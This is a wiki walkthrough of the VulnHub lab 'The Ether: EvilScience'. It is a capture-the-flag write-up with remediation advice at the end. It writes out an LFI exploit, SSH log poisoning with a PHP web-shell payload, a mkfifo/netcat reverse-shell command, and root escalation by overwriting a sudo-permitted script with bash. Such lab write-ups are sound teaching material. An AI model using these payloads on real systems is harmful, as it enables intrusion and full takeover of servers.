The Ether: EvilScience (v1.0.1) - Walkthrough

Revision as of 08:51, 11 May 2018 by Dmina (talk | contribs) (→‎Exploitation)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

Objective

The goal is to find out what The Ether is up to. You will be required to break into their server, root the machine, and retrieve the flag. The flag will contain more information about The Ether’s ominous operations regarding this medicine.

Source: [VulnHub.com]

Status: [Completed]

Methodology

Discovery

root@kali:# Nmap 7.60 scan initiated Tue Apr 24 07:34:52 2018 as: nmap -O -p- -sT -sV -T5 -o nmap.txt 192.168.56.106
Nmap scan report for 192.168.56.106
Host is up (0.0012s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:36:82:0F (Oracle VirtualBox virtual NIC)


Entry Point #1 - Port 80 (HTTP)

Enumeration

Nothing interesting turned up for nikto scan.

Nothing interesting turned up after performing dirb with directory-list-1.0.txt list.

Checking out the website source revealed a LFI opportunity so let's focus on that for now

Exploitation

Assessing if the file include functionality expecting specific files or is it open to path modification 

root@kali:# curl -s http://192.168.56.102/?file=research.php |grep "What was the Human Genome"
      <h4>What was the Human Genome Project?</h4>
      <h4>What was the Human Genome Project?</h4>

root@kali:# curl -s http://192.168.56.102/?file=../public_html/research.php |grep "What was the Human Genome"
      <h4>What was the Human Genome Project?</h4>
      <h4>What was the Human Genome Project?</h4>

Pass traversal works so at least the app does not have any sort of checks for specific file names. But is it true for any files? 

root@kali:# curl -s http://192.168.56.102/?file=/etc/passwd |grep root

Nope :(

How about something other than /etc? 

root@kali:# curl -v -s -G --data-urlencode file=/sbin/ifconfig -o lfi.txt http://192.168.56.102
root@kali:# strings lfi.txt |grep ifconfig
  ifconfig [-a] [-v] [-s] <interface> [[<AF>] <address>]
ifconfig: option `%s' not recognised.
ifconfig: `--help' gives usage information.
ifconfig: Error resolving '%s' for broadcast
ifconfig: Error resolving '%s' for dstaddr

How about logs area? 

root@kali:# curl -v -s -G --data-urlencode file=/var/log/lastlog -o lfi.txt http://192.168.56.102
root@kali:# strings lfi.txt |head -5
Ztty1
Ztty1
root@kali:# curl -v -s -G --data-urlencode file=/var/log/auth.log http://192.168.56.102 |less
May  4 06:48:09 theEther sshd[1939]: pam_unix(sshd:auth): check pass; user unknown
May  4 06:48:10 theEther sshd[1939]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.56.200
May  4 06:48:11 theEther sshd[1939]: Failed password for invalid user

Perfect! We can include /var/log/auth.log (which, by the way, reflects my failed ssh logins).

Time for some good old SSH Poisoning technique.

A word of caution - you can inject many fun commands via <? system(..) ?> call but beware that one mishap will render your auth.log unusable (think broken PHP). While this is something that can be easily fixed in your lab environment - just revert your VM to the last Snapshot, in real world pentesting scenario you'll lose a valuable point of entry! 

root@kali:# ssh '<? system($_GET['cmd']); ?>'@192.168.56.106
'<? system($_GET['cmd']); ?>'@192.168.56.106's password:
<Ctrl>-C

Now let's try including auth.log again, this time passing an arbitrary command to it 

# curl -v -s -G --data-urlencode file=/var/log/auth.log --data-urlencode cmd="ls -altr /var/tmp" http://192.168.56.106 |less
....
drwxr-xr-x 23 root root 4.0K Nov 22 19:28 ..
drwxrwxrwt  2 root root 4.0K May  4 05:01 VMwareDnD
drwxrwxrwt  2 root root 4.0K May  4 05:01 .font-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .XIM-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .X11-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .Test-unix
drwxrwxrwt  2 root root 4.0K May  4 05:01 .ICE-unix
drwx------  3 root root 4.0K May  4 05:01 systemd-private-3d5770dbd5104a3c9698f04d0c7e41c3-systemd-timesyncd.service-hu1BO3
drwxrwxrwt  9 root root 4.0K May  4 14:39 .
....

Ok! Time for real deal - let's get a reverse shell up and running!

Window #1: 

root@kali:# nc -lt -p 4444

Window #2: 

root@kali:# curl -v -s -G --data-urlencode file=/var/log/auth.log --data-urlencode cmd="rm -f /tmp/backpipe; mkfifo /tmp/backpipe; cat /tmp/backpipe | /bin/sh -i 2>&1|nc 192.168.56.200 4444 >/tmp/backpipe" http://192.168.56.106

Window #1: You should now get a shell 

root@kali:# nc -lt -p 4444
/bin/sh: 0: can't access tty; job control turned off
$
$ ls
about.php
images
index.php
layout
licence.txt
research.php
xxxlogauditorxxx.py
$ pwd
/var/www/html/theEther.com/public_html
$ hostname
theEther
$ clear
TERM environment variable not set.
$ whoami
www-data

Let's update it to interactive shell 

$ python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.3

Time to explore further. 

bash-4.3$ sudo -l
sudo: unable to resolve host theEther: Connection refused
Matching Defaults entries for www-data on theEther:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on theEther:
    (ALL) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
    (root) NOPASSWD: /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py

Yei! We can haz r00t! And let me show you how!

By the way, mixed feelings at this point. Part of me is happy about the find yet part of me is sad the hunt is over (or is it? Let's see!) 

bash-4.3$ cp /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py /var/www/html/theEther.com/public_html/xxxlogauditorxxx.bak.py
bash-4.3$ cp /bin/bash /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
...
bash-4.3$ sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
sudo /var/www/html/theEther.com/public_html/xxxlogauditorxxx.py
sudo: unable to resolve host theEther: Connection refused
root@theEther:/var/www/html/theEther.com/public_html# whoami
whoami
root

And here is the flag! Let's copy it to the webserver so we can view the PNG in the browser 

root@theEther:# cp /root/flag.png /var/www/html/theEther.com/public_html/

"Sorry this is not the flag, but what you are looking for is near. Look within yourself to find the answer you seek"

Hmmm... Look within we shell! <> 

root@theEther:# strings flag.png
...
...
...
flag: b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25nLiBBZnRlciBhIGZldyBob3VycyBvZiBpbmplY3Rpb24sIHRoZSBodW1hbiBzcGVjaW1lbiBhcHBlYXJzIHN5bXB0b21hdGljLCBleGhpYml0aW5nIGRlbWVudGlhLCBoYWxsdWNpbmF0aW9ucywgc3dlYXRpbmcsIGZvYW1pbmcgb2YgdGhlIG1vdXRoLCBhbmQgcmFwaWQgZ3Jvd3RoIG9mIGNhbmluZSB0ZWV0aCBhbmQgbmFpbHMuCgpPY3RvYmVyIDQsIDIwMTcuCk9ic2VydmluZyBvdGhlciBjYW5kaWRhdGVzIHJlYWN0IHRvIHRoZSBpbmplY3Rpb25zLiBUaGUgZXRoZXIgc2VlbXMgdG8gd29yayBmb3Igc29tZSBidXQgbm90IGZvciBvdGhlcnMuIEtlZXBpbmcgY2xvc2Ugb2JzZXJ2YXRpb24gb24gZmVtYWxlIHNwZWNpbWVuIG9uIE9jdG9iZXIgM3JkLgoKT2N0b2....

Looks like base64 to me. 

echo "b2N0b2JlciAxLCAyMDE3LgpXZSBoYXZlIG9yIGZpcnN0IGJhdGNoIG9mIHZvbHVudGVlcnMgZm9yIHRoZSBnZW5vbWUgcHJvamVjdC4gVGhlIGdyb3VwIGxvb2tzIHByb21pc2luZywgd2UgaGF2ZSBoaWdoIGhvcGVzIGZvciB0aGlzIQoKT2N0b2JlciAzLCAyMDE3LgpUaGUgZmlyc3QgaHVtYW4gdGVzdCB3YXMgY29uZHVjdGVkLiBPdXIgc3VyZ2VvbnMgaGF2ZSBpbmplY3RlZCBhIGZlbWFsZSBzdWJqZWN0IHdpdGggdGhlIGZpcnN0IHN0cmFpbiBvZiBhIGJlbmlnbiB2aXJ1cy4gTm8gcmVhY3Rpb25zIGF0IHRoaXMgdGltZSBmcm9tIHRoaXMgcGF0aWVudC4KCk9jdG9iZXIgMywgMjAxNy4KU29tZXRoaW5nIGhhcyBnb25lIHdyb25nLiBBZnRlciBhIGZldyBob3VycyBvZiBp....." | base64 -d


october 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!

October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.

October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.

Final Notes

This one turned out to be much simpler than expected. Lessons learned:

  • Go wide before going deep. Make sure you don't miss something like file include before you spend hours dirbusting with various lists
  • Practice your injection on a different host to which you have access before you inject something into your target. I had to restore the VM 2x after messing up auth.log badly it wont load anymore.
  • Try replacing/redirection/rewriting/env vars before modifying/debugging. Got excited finding xxxauditogsxxx.py, spend an hour trying to figure out what it does but at the end all I needed to do to drop into root shell was to replace the script with bash binary.

Appendix A: Vulnerability Detail and Mitigation

Unchecked LFI
Rating High
Description The website hosted on the target server is designed to load various component using php file include functionality. Due to lack of checks to verify whether the files being loaded come from the allowed path an arbitrary file can be included and loaded as part of the website content.
Impact An attacker may utilize this vulnerability to ex-filtrate data/config or to inject arbitrary piece of code which, upon execution, may be used to run a system command.
Remediation Maintain a white list of files permitted to be included. Reference these files by index number. If no file exists for specified index, throw an error.
Improperly configured sudo roles
Rating High
Description Improperly designed sudo rules allowed www-data to execute xxxauditlogsxxx.py as root. Since that script is owned by www-data, replacing it with /bin/bash allowed us to drop into root shell.
Impact Enabling a regular, unauthenticated user to gain access to the root shell.
Remediation Do not allow executing user-owned scripts as root. Lock the access down preventing users from altering scripts/executables which they are allowed to execute through sudo.
Improperly configured sudo roles (cont)
Rating High
Description The owner of httpd process - www-data - is configured with a sudo role which allows this account to execute commands as root.
Impact This will allow an attacker to execute privileged arbitrary code on the server.
Remediation Accounts such as www-data which are used to run web server processes should have a limited access to the system, which includes lack of ability to execute scripts as other, privileged users. All sudo roles should be transferred from www-data to a regular account which would require additional authentication steps before executing these commands.

If you have any questions feel free to hit me up on twitter @blaksec

Retrieved from "https://blaksec.com/index.php?title=The_Ether:_EvilScience_(v1.0.1)_-_Walkthrough&oldid=247"